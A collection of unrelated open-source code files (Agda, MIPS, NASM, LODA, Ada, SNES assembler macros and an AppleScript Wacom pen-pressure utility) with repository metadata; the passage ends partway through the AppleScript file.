------------------------------------------------------------------------ -- Non-dependent and dependent lenses -- <NAME> ------------------------------------------------------------------------ {-# OPTIONS --cubical --guardedness #-} module README where -- Non-dependent lenses. import Lens.Non-dependent import Lens.Non-dependent.Traditional import Lens.Non-dependent.Traditional.Combinators import Lens.Non-dependent.Higher import Lens.Non-dependent.Higher.Combinators import Lens.Non-dependent.Higher.Capriotti.Variant import Lens.Non-dependent.Higher.Capriotti import Lens.Non-dependent.Higher.Coherently.Not-coinductive import Lens.Non-dependent.Higher.Coherently.Coinductive import Lens.Non-dependent.Higher.Coinductive import Lens.Non-dependent.Higher.Coinductive.Small import Lens.Non-dependent.Higher.Surjective-remainder import Lens.Non-dependent.Equivalent-preimages import Lens.Non-dependent.Bijection -- Non-dependent lenses with erased proofs. import Lens.Non-dependent.Traditional.Erased import Lens.Non-dependent.Higher.Erased import Lens.Non-dependent.Higher.Capriotti.Variant.Erased import Lens.Non-dependent.Higher.Capriotti.Variant.Erased.Variant import Lens.Non-dependent.Higher.Coinductive.Erased import Lens.Non-dependent.Higher.Coinductive.Small.Erased import Lens.Non-dependent.Higher.Coherently.Coinductive.Erased -- Dependent lenses. import Lens.Dependent -- Comparisons of different kinds of lenses, focusing on the -- definition of composable record getters and setters. import README.Record-getters-and-setters -- Some code suggesting that types used in "programs" might not -- necessarily be sets. (If lenses are only used in programs, and -- types used in programs are always sets, then higher lenses might be -- pointless.) import README.Not-a-set -- Pointers to code corresponding to many definitions and results from -- the paper "Higher Lenses" by <NAME>, <NAME> -- Danielsson and <NAME>. import README.Higher-Lenses -- The lenses fst and snd. import README.Fst-snd -- Pointers to code corresponding to some definitions and results from -- the paper "Compiling Programs with Erased Univalence" by Andreas -- Abel, <NAME> and <NAME>. import README.Compiling-Programs-with-Erased-Univalence
Esercizio 3/esercizio3.asm
eliamercatanti/Progetto-MIPS
1
2185
<filename>Esercizio 3/esercizio3.asm<gh_stars>1-10 # Title: Esercizio 3 - Conversione da Binario a Naturale # Authors: <NAME>, <NAME>, <NAME> # E-mails: <EMAIL>, <EMAIL>, <EMAIL> # Date: 31/08/2014 ################################## Data segment ##################################################################################################################### .data head: .asciiz "Esercizio 3 - Convertitore di Stringhe da Binario in Decimale.\n" insert: .asciiz "\nInserire il carattere: " err: .asciiz "\n\nIl carattere inserito e' errato, si prega di inserirne un altro." maxLimitReach: .asciiz "\n\nHai inserito il numero massimo di elementi, procedo con il convertire il numero in decimale" binary: .asciiz "\n\nBinario puro: [" closeQ: .asciiz "]" decimal: .asciiz "\nNumero decimale: " arrayB: .byte 0:10 ################################## Code segment ##################################################################################################################### .text .globl main main: li $s0, -1 # s0 contiene il numero massimo di elementi meno uno li $s1, 0 # s1 viene utilizzato per caricare il risultato della conversione li $s2, 0 # s2 viene utilizzato per scorrere il vettore li $a1, 0 # a1 viene utilizzato per scorrere il vettore la $a0, head li $v0, 4 syscall input: beq $s0, 9, maxLimit # controlla se è possibile inserire ulteriori caratteri, nel caso passa all'etichetta "maxLimit" la $a0, insert # stampa la stringa "insert" li $v0, 4 syscall li $v0, 12 # legge il carattere in input syscall jal inputController # controlla se il carattere inserito è accettabile addi $v0, $v0, -48 # essendo $v0 è un carattere, al suo interno è memorizzato il codice ascii di '0' e '1'. Sottraendo 48 si ottiene, appunto, '0' o '1' addi $s0, $s0, 1 # incremento il numero di elementi inseriti sb $v0, arrayB($s2) # memorizzo il carattere all'interno di un vettore addi $s2, $s2, 1 # incremento l'indirizzo di base del vettore j input # ripeto il ciclo input inputController: # funzione per controllare che il contenuto di $v0 puo' essere accettato o meno beq $v0, 48, inputOk # se il contenuto di $v0 è uguale a 48 (=0) l'inserimento è corretto beq $v0, 49, inputOk # se il contenuto di $v0 è uguale a 49 (=1) l'inserimento è corretto beq $v0, 120, inputEnd # se il contenuto di $v0 è uguale a 120 (=x) l'inserimento è corretto e l'input viene interrotto inputErr: la $a0, err # stampa la stringa "err" li $v0, 4 syscall j input # ritorna ad 'input' inputOk: #se l'inserimento e' OK, non ci sono problemi e si ritorna all'etichetta input jr $ra maxLimit: la $a0, maxLimitReach #stampa la stringa "maxLimitReach" li $v0, 4 syscall inputEnd: jal conversion # viene chiamata la funzione conversion j printBinary # salto all'etichetta printBinary conversion: #funzione necessaria per convertire il numero da binario a decimale addi $sp, $sp, -4 # push sullo stack per salvare le variabili sw $ra, 0($sp) # salvo $ra per il ritorno lb $a3, arrayB($a1) # salvo il contenuto di v[k] in $a3 beq $a1, $s0, prereturn # controllo se siamo arrivati all'ultimo elemento del vettore, nel caso passa all'etichetta "prereturn" sub $a2, $s0 , $a1 # calcolo a2 sottraendo l'elemento corrente al numero massimo di elementi (m-k) addi $a1, $a1, 1 # incremento k jal mul2 # chiamo la funzione mul2 add $s1, $s1, $v1 # sommo al risultato il valore di ritorno della funzione mul2 jal conversion # chiamo la funzione conversion j return2 # salto a return2 prereturn: add $s1, $s1, $a3 # aggiungo v[k] al totale return2: lw $ra, 0($sp) # riprendo il ritorno addi $sp, $sp, 4 # pop sullo stack per liberare le variabili jr $ra mul2: #funzione necessaria per calcolare il corretto valore in decimale di v[k] addi $sp, $sp, -4 # push sullo stack per salvare le variabili sw $ra, 0($sp) # salvo $ra per il ritorno beq $a3, $zero, mul2base1 # controllo se il valore di v[k] è uguale a zero, nel caso passa all'etichetta "mul2base1" li $t0, 1 beq $a2, $t0, mul2base2 # controllo se il valore di 'm-k' è uguale a uno, nel caso passa all'etichetta "mul2base2" add $a3, $a3, $a3 # calcolo il nuovo v[k] come 2*v[k] addi $a2, $a2, -1 # decremento il valore di 'm-k' di uno jal mul2 # chiamo la funzione mul2 j mul2End # salto all'etichetta mul2End mul2base1: #primo caso base, ci entra solo se v[k] = 0 li $v1, 0 # setta $v1 (il valore di ritorno) uguale a zero j mul2End # salta all'etichetta mul2End mul2base2: #secondo caso base, ci entra solo se $a2 = 1 add $v1, $a3, $a3 # calcolo $v1 (il valore di ritorno) come 2*v[k] mul2End: #funzione necessaria per il ritorno lw $ra, 0($sp) # riprendo il ritorno addi $sp, $sp, 4 # pop sullo stack per liberare le variabili jr $ra # salto al valorelore del registro $ra loopBinary: #funzione necessaria per visualizzare i singoli elementi del vettore addi $s2, $s2, 1 # incrementa l'indirizzo di base del vettore lb $a0, arrayB($s2) # stampa il contenuto di v[k] li $v0, 1 syscall bne $s2, $s0, loopBinary # controllare se siamo arrivati all'ultimo elemento del vettore, nel caso contrario richiama se stessa jr $ra # salto al velore del registro $ra printBinary: #funzione necessaria per la stampa del numero in binario puro la $a0, binary # stampa la stringa "binary" li $v0, 4 syscall li $s2, -1 # setta il contenuto di $s2 a -1 jal loopBinary # chiama la funzione loopBinary la $a0, closeQ # stampa la stringa "closeQ" li $v0, 4 syscall printConv: #funzione necessaria per la stampa del numero naturale corrispondente al binario puro la $a0, decimal # stampa la stringa "decimal" li $v0, 4 syscall move $a0, $s1 # stampa il contenuto di $s1, ovvero il risultato dell'etichetta "conversion" li $v0, 1 syscall exit: li $v0, 10 #uscita dal programma syscall
src/09-libraryfun.asm
ARAJAMOMO5/MICE
0
242446
<filename>src/09-libraryfun.asm ; ===================================================== ; To assemble and run: ; nasm -felf64 09-libraryfun.asm -o 09-libraryfun.o ; ld 09-libraryfun.o -o 09-libraryfun -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2 ; ./09-libraryfun ; ===================================================== %include "include/consts.inc" %include "include/syscalls_x86-64.inc" extern scanf extern printf %define USERNAMEMAXLEN 30 %defstr UNXLENS USERNAMEMAXLEN section .data intro: db "Hello, what's your name?", 10, 0 welcome: db "I am pleased to meet you %s.", 10, 0 scanform: db "%", UNXLENS, "s", 0 section .bss username: resb USERNAMEMAXLEN section .text global _start _start: mov rdi, intro xor rax, rax call printf mov rdi, scanform mov rsi, username xor rax, rax call scanf mov rdi, welcome mov rsi, username xor rax, rax call printf mov rax, sys_exit xor rdi, rdi syscall
programs/oeis/005/A005906.asm
karttu/loda
0
98110
; A005906: Truncated tetrahedral numbers: a(n) = (1/6)*(n+1)*(23*n^2 + 19*n + 6). ; 1,16,68,180,375,676,1106,1688,2445,3400,4576,5996,7683,9660,11950,14576,17561,20928,24700,28900,33551,38676,44298,50440,57125,64376,72216,80668,89755,99500,109926,121056,132913,145520,158900,173076,188071,203908,220610,238200,256701,276136,296528,317900,340275,363676,388126,413648,440265,468000,496876,526916,558143,590580,624250,659176,695381,732888,771720,811900,853451,896396,940758,986560,1033825,1082576,1132836,1184628,1237975,1292900,1349426,1407576,1467373,1528840,1592000,1656876,1723491,1791868,1862030,1934000,2007801,2083456,2160988,2240420,2321775,2405076,2490346,2577608,2666885,2758200,2851576,2947036,3044603,3144300,3246150,3350176,3456401,3564848,3675540,3788500,3903751,4021316,4141218,4263480,4388125,4515176,4644656,4776588,4910995,5047900,5187326,5329296,5473833,5620960,5770700,5923076,6078111,6235828,6396250,6559400,6725301,6893976,7065448,7239740,7416875,7596876,7779766,7965568,8154305,8346000,8540676,8738356,8939063,9142820,9349650,9559576,9772621,9988808,10208160,10430700,10656451,10885436,11117678,11353200,11592025,11834176,12079676,12328548,12580815,12836500,13095626,13358216,13624293,13893880,14167000,14443676,14723931,15007788,15295270,15586400,15881201,16179696,16481908,16787860,17097575,17411076,17728386,18049528,18374525,18703400,19036176,19372876,19713523,20058140,20406750,20759376,21116041,21476768,21841580,22210500,22583551,22960756,23342138,23727720,24117525,24511576,24909896,25312508,25719435,26130700,26546326,26966336,27390753,27819600,28252900,28690676,29132951,29579748,30031090,30487000,30947501,31412616,31882368,32356780,32835875,33319676,33808206,34301488,34799545,35302400,35810076,36322596,36839983,37362260,37889450,38421576,38958661,39500728,40047800,40599900,41157051,41719276,42286598,42859040,43436625,44019376,44607316,45200468,45798855,46402500,47011426,47625656,48245213,48870120,49500400,50136076,50777171,51423708,52075710,52733200,53396201,54064736,54738828,55418500,56103775,56794676,57491226,58193448,58901365,59615000 mov $2,$0 mov $7,$0 lpb $2,1 add $3,2 lpb $0,1 sub $0,1 add $1,2 add $3,$1 add $1,1 add $3,1 lpe sub $1,1 add $3,$2 add $1,$3 sub $2,1 lpe add $1,1 mov $4,1 mov $8,$7 lpb $4,1 add $1,$8 sub $4,1 lpe mov $5,$7 lpb $5,1 sub $5,1 add $6,$8 lpe mov $4,4 mov $8,$6 lpb $4,1 add $1,$8 sub $4,1 lpe mov $5,$7 mov $6,0 lpb $5,1 sub $5,1 add $6,$8 lpe mov $4,2 mov $8,$6 lpb $4,1 add $1,$8 sub $4,1 lpe
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/i-fortra.ads
JCGobbi/Nucleo-STM32G474RE
7
1375
<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- I N T E R F A C E S . F O R T R A N -- -- -- -- S p e c -- -- -- -- This specification is derived from the Ada Reference Manual for use with -- -- GNAT. In accordance with the copyright of that document, you can freely -- -- copy and modify this specification, provided that if you redistribute a -- -- modified version, any changes that you have made are clearly indicated. -- -- -- ------------------------------------------------------------------------------ with Ada.Numerics.Generic_Complex_Types; pragma Elaborate_All (Ada.Numerics.Generic_Complex_Types); package Interfaces.Fortran is pragma Pure; type Fortran_Integer is new Integer; type Real is new Float; type Double_Precision is new Long_Float; type Logical is new Boolean; for Logical'Size use Integer'Size; pragma Convention (Fortran, Logical); -- As required by Fortran standard, logical allocates same space as -- an integer. The convention is important, since in Fortran, Booleans -- are implemented with zero/non-zero semantics for False/True, and the -- pragma Convention (Fortran) activates the special handling required -- in this case. package Single_Precision_Complex_Types is new Ada.Numerics.Generic_Complex_Types (Real); package Double_Precision_Complex_Types is new Ada.Numerics.Generic_Complex_Types (Double_Precision); type Complex is new Single_Precision_Complex_Types.Complex; type Double_Complex is new Double_Precision_Complex_Types.Complex; subtype Imaginary is Single_Precision_Complex_Types.Imaginary; i : Imaginary renames Single_Precision_Complex_Types.i; j : Imaginary renames Single_Precision_Complex_Types.j; type Character_Set is new Character; type Fortran_Character is array (Positive range <>) of Character_Set; -- Additional declarations as permitted by Ada 2012, p.608, paragraph 21. -- Interoperability with Fortran 77's vendor extension using star -- notation and Fortran 90's intrinsic types with kind=n parameter. -- The following assumes that `n' matches the byte size, which -- most Fortran compiler, including GCC's follow. type Integer_Star_1 is new Integer_8; type Integer_Kind_1 is new Integer_8; type Integer_Star_2 is new Integer_16; type Integer_Kind_2 is new Integer_16; type Integer_Star_4 is new Integer_32; type Integer_Kind_4 is new Integer_32; type Integer_Star_8 is new Integer_64; type Integer_Kind_8 is new Integer_64; type Logical_Star_1 is new Boolean with Convention => Fortran, Size => 8; type Logical_Star_2 is new Boolean with Convention => Fortran, Size => 16; type Logical_Star_4 is new Boolean with Convention => Fortran, Size => 32; type Logical_Star_8 is new Boolean with Convention => Fortran, Size => 64; type Logical_Kind_1 is new Boolean with Convention => Fortran, Size => 8; type Logical_Kind_2 is new Boolean with Convention => Fortran, Size => 16; type Logical_Kind_4 is new Boolean with Convention => Fortran, Size => 32; type Logical_Kind_8 is new Boolean with Convention => Fortran, Size => 64; type Real_Star_4 is new Float; type Real_Kind_4 is new Float; type Real_Star_8 is new Long_Float; type Real_Kind_8 is new Long_Float; -- In the kind syntax, n is the same as the associated real kind type Complex_Star_8 is new Complex; type Complex_Kind_4 is new Complex; type Complex_Star_16 is new Double_Complex; type Complex_Kind_8 is new Double_Complex; -- In the star syntax, n is twice as large (real+imaginary size) type Character_Kind_n is new Fortran_Character; function To_Fortran (Item : Character) return Character_Set; function To_Ada (Item : Character_Set) return Character; function To_Fortran (Item : String) return Fortran_Character; function To_Ada (Item : Fortran_Character) return String; procedure To_Fortran (Item : String; Target : out Fortran_Character; Last : out Natural); procedure To_Ada (Item : Fortran_Character; Target : out String; Last : out Natural); end Interfaces.Fortran;
bahamut/source/macros.asm
higan-emu/bahamut-lagoon-translation-kit
2
241715
<gh_stars>1-10 //used to allocate unique memory addresses for all variables inline variable(variable size, define name) { //the address is constant, but the data at the address in variable (mutable) constant {name} = sramCursor sramCursor = sramCursor + size } //implements modulo counters that do not need to be initialized before use //these counters are used to implement tiledata double-buffering when rendering macro getTileIndex(define counter, variable limit) { php; rep #$20 lda {counter} cmp.w #limit; bcc {#} lda.w #0; {#}: inc; sta {counter} dec; plp } //A <= min(A, value) namespace min { macro b(variable value) { cmp.b #value; bcc {#}; lda.b #value; {#}: } macro w(variable value) { cmp.w #value; bcc {#}; lda.w #value; {#}: } } //A <= max(A, value) namespace max { macro b(variable value) { cmp.b #value; bcs {#}; lda.b #value; {#}: } macro w(variable value) { cmp.w #value; bcs {#}; lda.w #value; {#}: } } //A <= clamp(A, min, max) namespace clamp { macro b(variable min, variable max) { min.b(max) max.b(min) } macro w(variable min, variable max) { min.w(max) max.w(min) } } expression color(r, g, b) = (r & $1f) << 0 | (g & $1f) << 5 | (b & $1f) << 10 //multiplies the accumulator by various constant values //<= 255 works with both 8-bit and 16-bit accumulator //>= 256 requires 16-bit accumulator macro mul(variable by) { if by == 1 { //do nothing } else if by == 2 { asl } else if by == 3 { pha; asl; add $01,s; sta $01,s; pla } else if by == 4 { asl #2 } else if by == 5 { pha; asl #2; add $01,s; sta $01,s; pla } else if by == 6 { asl; pha; asl; add $01,s; sta $01,s; pla } else if by == 7 { pha; asl #3; sub $01,s; sta $01,s; pla } else if by == 8 { asl #3 } else if by == 9 { pha; asl #3; add $01,s; sta $01,s; pla } else if by == 10 { asl; pha; asl #3; add $01,s; sta $01,s; pla } else if by == 11 { pha; asl #3; add $01,s; add $01,s; add $01,s; sta $01,s; pla } else if by == 12 { asl #2; pha; asl; add $01,s; sta $01,s; pla } else if by == 16 { asl #4 } else if by == 24 { asl #3; pha; asl; add $01,s; sta $01,s; pla } else if by == 30 { pha; asl #5; sub $01,s; sub $01,s; sta $01,s; pla } else if by == 32 { asl #5 } else if by == 44 { pha; asl; add $01,s; asl #2; sub $01,s; sta $01,s; pla; asl #2 } else if by == 48 { asl #4; pha; asl; add $01,s; sta $01,s; pla } else if by == 64 { asl #6 } else if by == 128 { asl #7 } else if by == 176 { pha; asl; add $01,s; asl #2; sub $01,s; sta $01,s; pla; asl #4 } else if by == 180 { pha; asl #3; add $01,s; sta $01,s; asl #2; add $01,s; sta $01,s; pla; asl #2 } else if by == 256 { and #$00ff; xba } else if by == 512 { and #$00ff; xba; asl } else if by == 896 { and #$00ff; xba; lsr; pha; asl; pha; asl; add $01,s; add $03,s; sta $03,s; pla; pla } else if by == 960 { and #$00ff; xba; lsr #2; pha; asl #4; sub $01,s; sta $01,s; pla } else if by == 1024 { and #$00ff; xba; asl #2 } else if by == 2048 { and #$00ff; xba; asl #3 } else if by == 4096 { and #$00ff; xba; asl #4 } else if by == 5632 { and #$00ff; xba; asl; pha; asl; pha; asl #2; add $01,s; add $03,s; sta $03,s; pla; pla } else if by == 8192 { clc; ror #4; and #$e000 } else { error "unsupported multiplier: ", by } } //divides the accumulator by various constant values //<= 255 works with both 8-bit and 16-bit accumulator //>= 256 requires 16-bit accumulator macro div(variable by) { if by == 1 { //do nothing } else if by == 2 { lsr } else if by == 4 { lsr #2 } else if by == 8 { lsr #3 } else if by == 16 { lsr #4 } else if by == 32 { lsr #5 } else if by == 64 { lsr #6 } else if by == 128 { lsr #7 } else if by == 256 { and #$ff00; xba } else if by == 512 { and #$ff00; xba; lsr } else if by == 1024 { and #$ff00; xba; lsr #2 } else { error "unsupported divisor: ", by } }
oeis/021/A021177.asm
neoneye/loda-programs
11
165985
<reponame>neoneye/loda-programs ; A021177: Decimal expansion of 1/173. ; Submitted by <NAME>iga ; 0,0,5,7,8,0,3,4,6,8,2,0,8,0,9,2,4,8,5,5,4,9,1,3,2,9,4,7,9,7,6,8,7,8,6,1,2,7,1,6,7,6,3,0,0,5,7,8,0,3,4,6,8,2,0,8,0,9,2,4,8,5,5,4,9,1,3,2,9,4,7,9,7,6,8,7,8,6,1,2,7,1,6,7,6,3,0,0,5,7,8,0,3,4,6,8,2,0,8 add $0,1 mov $2,10 pow $2,$0 div $2,173 mov $0,$2 mod $0,10
registrar-protected_set.adb
annexi-strayline/AURA
13
22551
------------------------------------------------------------------------------ -- -- -- Ada User Repository Annex (AURA) -- -- ANNEXI-STRAYLINE Reference Implementation -- -- -- -- Core -- -- -- -- ------------------------------------------------------------------------ -- -- -- -- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. -- -- All rights reserved. -- -- -- -- Original Contributors: -- -- * <NAME> (ANNEXI-STRAYLINE) -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- -- -- * Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -- -- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ package body Registrar.Protected_Set is ---------------------- -- Protected_Master -- ---------------------- protected Protected_Master is ------------- -- Queries -- ------------- function Extract_Subset (Filter: not null access function (Element: Element_Type) return Boolean) return Sets.Set; function Extract_Subset (Match_Set: Sets.Set) return Sets.Set; function Extract_Set return Sets.Set; function Contains_Element (Match: Element_Type) return Boolean; function Extract_Element (Match: Element_Type) return Element_Type; function Is_Subset (Query_Set: Sets.Set) return Boolean; ------------------- -- Modifications -- ------------------- procedure Insert (New_Item: in Element_Type; Inserted: out Boolean); procedure Include (New_Item: in Element_Type); procedure Include_Subset (New_Items: in Sets.Set); procedure Replace (New_Item: in Element_Type); procedure Union (Input_Set: in Sets.Set); procedure Modify (Match : in Element_Type; Process: not null access procedure (Item: in out Element_Type)); procedure Delete (Item: in Element_Type); private Master: aliased Sets.Set; end Protected_Master; ---------------------------------------------------------------------------- protected body Protected_Master is ---------------------- -- Contains_Element -- ---------------------- function Contains_Element (Match: Element_Type) return Boolean is (Master.Contains (Match)); --------------------- -- Extract_Element -- --------------------- function Extract_Element (Match: Element_Type) return Element_Type is begin return Master(Master.Find (Match)); end Extract_Element; -------------------- -- Extract_Subset -- -------------------- function Extract_Subset (Filter: not null access function (Element: Element_Type) return Boolean) return Sets.Set is begin return Selected_Set: Sets.Set do for E of Master loop if Filter (E) then Selected_Set.Insert (E); end if; end loop; end return; end Extract_Subset; -------------------------------------------------- function Extract_Subset (Match_Set: Sets.Set) return Sets.Set is (Master.Intersection (Match_Set)); ----------------- -- Extract_Set -- ----------------- function Extract_Set return Sets.Set is (Master); --------------- -- Is_Subset -- --------------- function Is_Subset (Query_Set: Sets.Set) return Boolean is (Query_Set.Is_Subset (Master)); ------------ -- Insert -- ------------ procedure Insert (New_Item: in Element_Type; Inserted: out Boolean) is Dont_Care: Sets.Cursor; begin Master.Insert (New_Item => New_Item, Position => Dont_Care, Inserted => Inserted); end Insert; ------------- -- Include -- ------------- procedure Include (New_Item: in Element_Type) is begin Master.Include (New_Item); end Include; -------------------- -- Include_Subset -- -------------------- procedure Include_Subset (New_Items: in Sets.Set) is begin Master.Difference (New_Items); Master.Union (New_Items); end Include_Subset; ------------- -- Replace -- ------------- procedure Replace (New_Item: in Element_Type) is begin Master.Replace (New_Item); end Replace; ----------- -- Union -- ----------- procedure Union (Input_Set: in Sets.Set) is begin Master.Union (Input_Set); end Union; ------------ -- Modify -- ------------ procedure Modify (Match : in Element_Type; Process: not null access procedure (Item: in out Element_Type)) is I: constant Sets.Cursor := Master.Find (Match); E: Element_Type := Master(I); begin Process (E); Master.Replace_Element (Position => I, New_Item => E); end Modify; ------------ -- Delete -- ------------ procedure Delete (Item: in Element_Type) is begin Master.Delete (Item); end Delete; end Protected_Master; ---------------------- -- Contains_Element -- ---------------------- function Contains_Element (Match: Element_Type) return Boolean is (Protected_Master.Contains_Element (Match)); --------------------- -- Extract_Element -- --------------------- function Extract_Element (Match: Element_Type) return Element_Type is (Protected_Master.Extract_Element (Match)); -------------------- -- Extract_Subset -- -------------------- function Extract_Subset (Filter: not null access function (Element: Element_Type) return Boolean) return Sets.Set is (Protected_Master.Extract_Subset (Filter)); -------------------------------------------------- function Extract_Subset (Match_Set: Sets.Set) return Sets.Set is (Protected_Master.Extract_Subset (Match_Set)); ----------------- -- Extract_Set -- ----------------- function Extract_Set return Sets.Set is (Protected_Master.Extract_Set); --------------- -- Is_Subset -- --------------- function Is_Subset (Query_Set: Sets.Set) return Boolean is (Protected_Master.Is_Subset (Query_Set)); ------------ -- Insert -- ------------ procedure Insert (New_Item: in Element_Type; Inserted: out Boolean) is begin Protected_Master.Insert (New_Item => New_Item, Inserted => Inserted); end Insert; ------------- -- Include -- ------------- procedure Include (New_Item: in Element_Type) is begin Protected_Master.Include (New_Item); end Include; -------------------- -- Include_Subset -- -------------------- procedure Include_Subset (New_Items: in Sets.Set) is begin Protected_Master.Include_Subset (New_Items); end Include_Subset; ------------- -- Replace -- ------------- procedure Replace (New_Item: in Element_Type) is begin Protected_Master.Replace (New_Item); end Replace; ----------- -- Union -- ----------- procedure Union (Input_Set: in Sets.Set) is begin Protected_Master.Union (Input_Set); end Union; ------------ -- Modify -- ------------ procedure Modify (Match : in Element_Type; Process: not null access procedure (Item: in out Element_Type)) is begin Protected_Master.Modify (Match => Match, Process => Process); end Modify; -------------------- -- Delete_Element -- -------------------- procedure Delete_Element (Match: in Element_Type) is begin Protected_Master.Delete (Match); end Delete_Element; end Registrar.Protected_Set;
BezierView.applescript
CdLbB/PenPressurizer
2
4287
<reponame>CdLbB/PenPressurizer -- -- BezierView.applescript -- PenPressurizer -- -- Created by <NAME> on 8/25/10. -- Copyright 2010. All rights reserved. -- See license.txt file for details. global backgroundColor, gridColor, linesColor, minPress, maxPress, pressLevels, hardness, controlPt, penButton, prefFilePath, prefFileName, PenTabletDriverName --property NSGraphicsContext : class "NSGraphicsContext" property NSAffineTransform : class "NSAffineTransform" property NSBezierPath : class "NSBezierPath" property NSColor : class "NSColor" script BezierView property parent : class "NSView" -- "Stylus Button" popup button property buttonButton : missing value -- NSPopUpButton -- "Button Feel", "Min. Pressure", "Max. Pressure" sliders: property hardnessSlider : missing value -- NSSlider property minPressSlider : missing value property maxPressSlider : missing value on initWithFrame_(frame) -- First handler to run -- Determine tablet driver's correct application name. Two methods provided. -- First if process is running, second if not. tell application "System Events" set tabletDrivers to every process whose (name contains "TabletDriver" and name is not "TabletDriver") end tell if tabletDrivers is {} then -- tablet driver process is not running, so ... try set AppScriptDriver to "TabletDriver" set tabletPath to path to application AppScriptDriver tell application "Finder" set tabletApp to name of folder of folder of folder of tabletPath end tell set PenTabletDriverName to name of application tabletApp tell application PenTabletDriverName to launch on error -- Both methods for finding tablet driver's app name failed, so ... tell current application activate display alert "No TabletDriver running." message "Perhaps this system is not attached to a Wacom Pen Tablet. Nonetheless, this Application cannot launch." as warning end tell current application's NSApp's terminate_(me) end try else -- tablet driver process IS running, so ... set PenTabletDriverName to name of item 1 of tabletDrivers end if -- Find Wacom preferences file. If not found, display error. set prefFileName to "com.wacom.pentablet.prefs" set prefFilePath to getprefFilePath(prefFileName) if prefFilePath is "not found" then tell current application activate display alert "No PenTablet preference file found." message "Perhaps this system is not attached to a Wacom Pen Tablet. Nonetheless, this Application cannot launch." as warning end tell current application's NSApp's terminate_(me) end if continue initWithFrame_(frame) -- Set Bézier view's colors set backgroundColor to NSColor's whiteColor set gridColor to NSColor's blackColor set linesColor to NSColor's blueColor return me end initWithFrame_ on awakeFromNib() -- Second handler to run preparePenPrefFile() -- Make tmp files to speed sed's pref file changes -- Using "Styus Button" value, find controlPt in pref file -- Then using controlPt, determine hardness, minPress, maxPress. set penButton to (buttonButton's titleOfSelectedItem) as string getControlPtFromPenPref(penButton) controlPtToHardness(controlPt) -- Set sliders to correct hardness, minPress, maxPress. hardnessSlider's setDoubleValue_(hardness) minPressSlider's setDoubleValue_(minPress) maxPressSlider's setDoubleValue_(maxPress) end awakeFromNib -- When"Styus Button" changes, on changeButtonButton_(sender) set penButton0 to (buttonButton's titleOfSelectedItem) as string if penButton ≠ penButton0 then -- Using "Styus Button" value, find controlPt in pref file -- Then using controlPt, determine hardness, minPress, maxPress. set penButton to penButton0 preparePenPrefFile() getControlPtFromPenPref(penButton) controlPtToHardness(controlPt) -- Set sliders to correct hardness, minPress, maxPress. hardnessSlider's setDoubleValue_(hardness) minPressSlider's setDoubleValue_(minPress) maxPressSlider's setDoubleValue_(maxPress) my setNeedsDisplay_(true) -- refresh display end if end changeButtonButton_ -- When"Min. Pressure" slider changes, on changeminPressSlider_(sender) set minPress0 to sender's doubleValue() if minPress0 ≠ minPress then set minPress to minPress0 if minPress + 5 > maxPress then -- keep Max. Pressure >> Min. Pressure set maxPress to minPress + 5 maxPressSlider's setDoubleValue_(maxPress) end if my setNeedsDisplay_(true) -- refresh display end if end changeminPressSlider_ -- When"Max. Pressure" slider changes, on changemaxPressSlider_(sender) set maxPress0 to sender's doubleValue() if maxPress0 ≠ maxPress then set maxPress to maxPress0 if maxPress < 5 then -- keep Max. Pressure >> 0 set maxPress to 5 maxPressSlider's setDoubleValue_(maxPress) end if if minPress + 5 > maxPress then -- keep Max. Pressure >> Min. Pressure set minPress to maxPress - 5 minPressSlider's setDoubleValue_(minPress) end if my setNeedsDisplay_(true) -- refresh display end if end changemaxPressSlider_ -- When"Button Feel" (hardness) slider changes, on changehardnessSlider_(sender) set hardness0 to sender's doubleValue() if hardness ≠ hardness0 then set hardness to hardness0 hardnessToControlPt(hardness) my setNeedsDisplay_(true) -- refresh display end if end changehardnessSlider_ ---- Info on Wacom's preset control points (0 - 6) ---- (* Wacom Control Points for Pen's Quadratic Bézier Curve [Control pt. is 2nd of the 3 points of a Quadratic Bézier Curve] [Control pt. is normalized to a 0 to 100 range] [going from soft (0) to firm (6)] 0th controlPt : {x:0, y:100} -- dist from y=x :-70.72 1st controlPt : {x:11.67, y:83.14} -- dist from y=x :-50.54 2nd controlPt : {x:28, y:66.08} -- dist from y=x :-26.93 3rd controlPt : {x:45.74, y:50} -- dist from y=x :-3.01 4th controlPt : {x:62.86, y:32.94} -- dist from y=x : 21.16 5th controlPt : {x:80.18, y:16.86} -- dist from y=x : 44.77 6th controlPt : {x:81.14, y:12.94} -- dist from y=x : 48.22 [These points are linearly connected to create a continuous range of Bézier curves for 0≤hardness≤7.] *) -- When the "Min. Pressure" Default button is pushed, -- set "Min. Pressure" to Wacom's preset based on hardness. -- hardness 0 - 6: minPress 4.9, 5.88, 6.86, 7.48, 10, 14.9, 20 -- linearly connected to create a continuous range on 